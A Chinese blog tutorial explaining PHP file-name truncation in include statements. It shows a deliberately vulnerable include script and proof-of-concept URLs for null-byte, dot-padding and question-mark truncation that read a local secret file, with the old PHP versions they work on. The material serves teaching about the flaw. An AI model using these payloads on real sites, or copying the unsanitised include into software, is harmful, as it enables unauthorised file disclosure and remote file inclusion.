文件名截断漏洞原理分析
By HelloWeb 2017-3-7
如下的PHP程序中(例子1),存在文件名被操控的漏洞,其代码如下:<?php
$name=$_GET['name'];
$filename=$name.'.php';
include $filename;
?>
例子1:文件名被操控的PHP程序例子1的基本程序逻辑就是通过用户输入的文件名还包含对应文件后缀为PHP的文件,如果在文件当前目录下包含一个PHP文件为a.php,代码如下:
<?php
print("OK! The right file.<br>");
?>
同时,在该目录下还包含一个文件名为secret.txt文件,其中包含的信息如下:This is a secret file.
根据例子1的程序逻辑,如果输入URL:http://127.0.0.1/test/t1.php?name=a,则输出结果为:OK!The right file.
对于攻击者而言,当前想通过该漏洞来读取secret.txt中的信息,但是该文件不是PHP程序,要想达到目标,就要利用文件名字截断漏洞了。
第一种方式:%00
%00表示字符串结尾,如果变量$name的最后是%00,那么变量$filename中的”.php”将被截断。
如果输入URL:127.0.0.1/test/t1.php?name=secret.txt%00,则输入结果为:Thisis a secret file.显然,文件内容读出来了。攻击者控制了所有输入的文件,不再受到后缀”.php”的影响了。
当然,%00截断方式只能在PHP5.3以前,并且GPC关闭的情况下才能够成功。本例在PHP5.2.17版本上测试通过。
第二种方式:英文句号和反斜杠截断
在windows7系统下,长于226个英文句号会出现截断效果,测试代码如下:<?php
$name=$_GET['name'];
$str='';
for($i=0;$i<=226;$i++)
{
$str.='.';
}
$name=$name.$str;
$filename=$name.'.php';
include $filename;
?>
同样可以测试句号加斜杠的情况,在Windows7环境下句号加斜杠组合为113组。
注意:这种方式在PHP5.3以后的版本中都已经得到了修复。本用例在PHP5.2.17版本上测试通过。
第三中方式:问号截断(?)
问号截断漏洞是针对远程文件包含的情况。在PHP的配置文件中,打开远程文件包含许可,即“allow_url_include = On”。
测试代码如下:<?php
$name=$_GET['name'];
$filename=$name.'.php';
include $filename;
?>
当输入的文件名包含URL时,问号截断则会发生,并且这个利用方式不受PHP版本限制,原因是Web服务其会将问号看成一个请求参数。
测试POC:http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt?,则会打开secret.txt中的文件内容。本测试用例在PHP5.5.38版本上测试通过。
本文深入探讨文件名截断漏洞,通过三个具体的例子展示攻击者如何利用这种漏洞读取非PHP文件内容。举例说明了%00、英文句号和反斜杠、问号截断三种方式,并指出这些方法在不同PHP版本中的可行性。
1231

被折叠的 条评论
为什么被折叠?



